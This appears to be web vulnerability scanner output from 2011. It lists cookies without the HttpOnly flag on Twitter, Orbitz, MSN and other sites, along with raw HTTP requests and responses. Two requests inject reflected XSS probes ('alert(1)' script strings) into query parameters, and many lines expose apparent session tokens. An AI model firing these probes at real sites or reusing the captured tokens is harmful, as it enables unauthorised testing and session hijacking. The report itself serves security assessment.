_twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCOQY0OctAToOcmV0dXJuX3RvIhxodHRwOi8v%250AZGV2LnR3aXR0ZXIuY29tLzoHaWQiJTgxNjZlZjA5Yjk3MDk3ZTkzNzY3NzNl%250AZTdlZjA3ZDE1IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6%250ARmxhc2hIYXNoewAGOgpAdXNlZHsA--3f74dffcbda83e02ede7f40fb1c9fbf484dea921; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http- ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: faq.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:12 GMT P3P: policyref="https://faq.orbitz.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: cp_session=UykAdAJ2BCBXPwJyVkoGTgI0UkUEEgIuB21baAMjAHoBcwdrByFVbA4tBA4BKQJ3UWYBIAIiUTkBalZqAQgBegtBCmFUGAMlUVsETgA9BVZTAQACAk8ERFdUAmNWbQZ0AmdSdwRsAmsHI1t%2B; path=/ RNT-Time: D=288769 t=1296573852057408 RNT-Machine: 01 F5_do_compression: yes Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: TS2744aa=b86dc7ce556c42b11585c5072c4ea4e4605623f144bde6d64d48259c; Path=/ Content-Length: 69705
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /app/answers/detail/a_id/15644 HTTP/1.1 Host: faq.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:11 GMT P3P: policyref="https://faq.orbitz.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: cp_session=VC4CdgB0AycDawNzU2UCVQRTVkABFwcrBG5baFZ2VC4DcVQ8AScCO1BgWCJQdQh7WysHb1V9ACNSNwQJBjpUZAMnAWNQcAhvUTQFOlZmAzRUdwIpACsDJwM0A3NTOgIhBFxWKwEnBzYEcVtwVj1UbQM9VAEBKgJNUGNYSFBlCEJbcwcQVXAAYlJkBDoGOFRMAzcBD1AFCAtRMQVeVhYDZVQSAiwAdQMnAyw%3D; path=/ RNT-Time: D=294074 t=1296573851351523 RNT-Machine: 05 F5_do_compression: yes Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: TS8118ae=ea207c4d029b321ea2f9a03a1b4ba8facb1b7ea06212bb0d4d48259b; Path=/ Content-Length: 68477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: games.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 p3p: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-WR-L: 87,NC Set-Cookie: MSGmSession=RUID=f56e2aa94ee94cd4a6048f2d7643f670&Env=AP2; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:33:00 GMT Connection: close Content-Length: 45429
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><meta http-equiv= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=nglaeqmf4vbvqtkh78t78qauh5; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: hackergearonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESS3386ceb03ae8a2a8b004e24a99ee39cd=eqasj5fmmjfunb26i2ort8jfn3; expires=Sat, 26 Feb 2011 11:04:38 GMT; path=/; domain=.ie6funeral.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: ie6funeral.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 07:31:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.6 Set-Cookie: SESS3386ceb03ae8a2a8b004e24a99ee39cd=eqasj5fmmjfunb26i2ort8jfn3; expires=Sat, 26 Feb 2011 11:04:38 GMT; path=/; domain=.ie6funeral.com Last-Modified: Wed, 31 Mar 2010 23:17:09 GMT ETag: "d2ef9e5aa482e662b02c5d459c2371e9" Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: must-revalidate Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8503
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad_type.php HTTP/1.1 Host: inforavel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html HTTP/1.1 Host: johannburkard.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=4C474270C78D978371F54CBF92957F65; Path=/ ETag: "84462d5d318033c5e14b0eb34b0de254" Last-Modified: Wed, 10 Feb 2010 10:10:37 GMT Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 15:32:13 GMT Content-Length: 26576
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><!-- #BeginTemplate "/Templates/default.dwt" ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: leads.demandbase.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cluid=236660194602537908;
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:20:55 GMT Server: Apache P3P: CP='NOI DSP COR CUR OUR NID NOR' Set-Cookie: PHPSESSID=addae387d597592b3bd5b6c7b93dd836; path=/ Cache-Control: must-revalidate, no-cache Location: /user/ Vary: Accept-Encoding Content-Length: 716 Connection: close Content-Type: text/html; charset=utf-8
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /?d526a%22-alert(1)-%22d9a91211762=1 HTTP/1.1 Host: m.twitter.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: k=173.193.214.243.1296227675375304; guest_id=129622767594873093; admobuu=9deea9d91b436e9e39a07f6b1817f30c; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296314194.1296521894.4; __utmc=43838368; __utmv=43838368.lang%3A%20en; _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6D2NyZWF0ZWRfYXRsKwjyT7neLQEi%250ACmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7%250AAAY6CkB1c2VkewA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2%250AY2E4OQ%253D%253D--5c974d691e965b8a33f1e7ca63b5b1cbad6a6cc3
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 13:12:28 GMT Server: hi Status: 200 OK X-Transaction: 1296565948-67164-35116 ETag: "b6c107b149a76a496c81c52a4999e7a9"-gzip Last-Modified: Tue, 01 Feb 2011 13:12:28 GMT X-Runtime: 0.04742 Content-Type: text/html; charset=utf-8 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4%250ANTU1ODc1MGJjZTQ2Y2E4OSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCPJP%250Aud4tAQ%253D%253D--68405592e8acf69fc0a9e659d46c67302e2aaff9; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close Content-Length: 708
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: mad4milk.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:34:03 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22367b35c5ff7f573e3fa5a17fdddc99df%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1296660843%3Bs%3A10%3A%22last_visit%22%3Bi%3A0%3B%7D; expires=Wed, 02-Feb-2011 17:34:03 GMT; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 2866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=ds41v3c3cbm3uiu8ka9rtj5g16; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: nationalcybersecurity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: outsideonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=2a1so5b76adjb51svfmikcret7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: pressroom.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:39:54 GMT Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=2a1so5b76adjb51svfmikcret7; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11920
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-US" xmlns="http://www.w3.org/1999/xhtml" dir="ltr"> <head> <ti ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /order/checkout.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be738649d%22%3E%3Cscript%3Ealert(1)%3C/script%3Ea6894fb0eab HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ref/lppb.asp HTTP/1.1 Host: solutions.liveperson.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Connection: close Date: Wed, 02 Feb 2011 15:41:26 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Location: pbl.asp Content-Length: 128 Content-Type: text/html Set-Cookie: visitor=ref=LP+Power+%2D+; expires=Sun, 10-Jan-2010 05:00:00 GMT; domain=.liveperson.com; path=/ Set-Cookie: ASPSESSIONIDQSDTDCQS=GFEFFOICKJDDPBENNAKBIDFF; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="pbl.asp">here</a>.</body>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/Captcha?continue=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor&id=4050288757061532411&captcha=coestful&submit=Submit HTTP/1.1 Host: sorry.google.com Proxy-Connection: keep-alive Referer: http://sorry.google.com/sorry/?continue=http://www.google.com/search%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; S=sorry=6N0zPerLQtaqcOPwyzNvWg
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=q67pjjpm52p00755fccsgago42; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: spoofem.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
SESS6ce6c8782f0180a7bbf1be6e3bdd5794=irfb6j6tguh6qri8bi1dehb9l5; expires=Fri, 25 Feb 2011 22:48:54 GMT; path=/; domain=.trw.com
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: trw.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=96h5pb857mgr9cp1ldob99elb1; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php HTTP/1.1 Host: trw.mediaroom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 06:56:33 GMT Server: Apache X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=96h5pb857mgr9cp1ldob99elb1; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12691
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: twitter.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: guest_id=129452629042599503; k=173.193.214.243.1296227675375304; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; __utma=43838368.1078689092.1296223511.1296314194.1296521894.4; __utmc=43838368; __utmv=43838368.lang%3A%20en; original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4%250ANTU1ODc1MGJjZTQ2Y2E4OSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCPJP%250Aud4tAQ%253D%253D--68405592e8acf69fc0a9e659d46c67302e2aaff9
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:19:46 GMT Server: hi Status: 200 OK X-Transaction: 1296663586-63376-31849 ETag: "9619709b8936a6ff27f3b0b707b18bc2"-gzip Last-Modified: Wed, 02 Feb 2011 16:19:46 GMT X-Runtime: 0.01641 Content-Type: text/html; charset=utf-8 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCPJPud4tAToVaW5fbmV3X3VzZXJfZmxvdzAi%250ACmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7%250AAAY6CkB1c2VkewA6B2lkIiUwZWU5YmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2%250AY2E4OQ%253D%253D--ef6ced9d16358caf25f8d9b08a62f50e6303ddca; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close Content-Length: 44230
guest_id=129657076824620235; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /BWBLLC HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-98244-59715 ETag: "ebdca5bd57211ed1c27e542912e61742" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.01599 Content-Type: text/html; charset=utf-8 Content-Length: 48897 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765223791; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076824620235; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWRkMWJkNjNjOGU3MzQ2NWE5NTFhYjYzODhhMGE2NzNlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIeNuj4S0B--c9572565bc313082d5b9e07f8d706ef935c47b43; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657076911317049; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /BW_Technology HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:49 GMT Server: hi Status: 200 OK X-Transaction: 1296570769-95484-58827 ETag: "52999ee31da300d52a4b8d6a223f9979" Last-Modified: Tue, 01 Feb 2011 14:32:49 GMT X-Runtime: 0.01162 Content-Type: text/html; charset=utf-8 Content-Length: 35328 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570767091469; path=/; expires=Tue, 08-Feb-11 14:32:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076911317049; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTljYTdkYWIzMjIzZjYxMWJkNGYzYjJlNDQzYmNlMDc3Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI296j4S0B--42513326a672403856d8e72f3be1e034918ba41e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Chester_Pitts HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:33 GMT Server: hi Status: 200 OK X-Transaction: 1296664293-11125-61221 ETag: "3ccdf53e8260d1eff51f3d2b9026b12a" Last-Modified: Wed, 02 Feb 2011 16:31:33 GMT X-Runtime: 0.01152 Content-Type: text/html; charset=utf-8 Content-Length: 47210 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Cirque HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
